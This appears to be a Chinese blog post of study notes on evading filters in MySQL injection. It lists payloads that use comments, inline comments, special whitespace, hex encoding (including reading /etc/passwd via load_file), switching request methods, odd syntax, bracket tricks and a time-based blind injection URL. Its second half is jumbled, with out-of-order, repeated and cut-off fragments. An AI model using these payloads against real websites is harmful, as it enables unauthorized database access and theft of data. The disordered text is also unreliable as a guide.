SQL绕过学习笔记

 新葡亰计算机网络     |      2019-12-09

mysql注入绕过的一些技巧,mysql注入绕过技巧

虽然mysql + php的开发中可以使用pdo中,但是有些老久的程序没有使用,或其他原因

 

1.注释绕过

select/*comment*/user/*zzsdsdsf*/from mysql.user;

 图片 1

2.内联注释绕过

/*!12345select*//*!12345user*/ from mysql.user;

 图片 2

3.特殊空白字符绕过

在php中s会匹配0x09,0x0a,0x0b,0x0c,0x0d,0x20

但是在mysql中空白字符为  0x09,0x0a,0x0b,0x0c,0x0d,0x20,0xa0 

0xa0有时候有奇效

0x0a和0x0d会影响"."的匹配,有时候也是可以利用的

 

4.十六进制绕过

select load_file('0x2f6574632f706173737764');

python

>>> '/etc/passwd'.encode('hex')
'2f6574632f706173737764'

 

5.换一种提交姿势绕过

有时候程序员只过滤了GET中的危险字符,可以试试POST,COOKIES甚至是FILES

 

6.mysql黑魔法绕过

select{x user}from {x mysql.user};

图片 3

 

 select user from mysql.user where 1=Nunion [email protected];

select user from mysql.user where 1=Nunion select-.1;

虽然mysql + php的开发中可以使用pdo中,但是有些老久的程序没有使用,或其他原因 1.注释绕过...

select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3
2.括号绕过空格:
  如果空格被过滤,括号没有被过滤,可以用括号绕过。

union select 1,2 #等价于
union select * from (select 1)a join (select 2)b

使用like:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for属于逗号绕过下面会有)

select(user())from dual where(1=1)and(2=2)
  这种过滤方法常常用于time based盲注,例如:

使用浮点数:

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

1.绕过空格(注释符/* */,%a0):
  两个空格代替一个空格,用Tab代替空格,%a0=空格:

3.引号绕过(使用十六进制):
  会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select * from news limit 0,1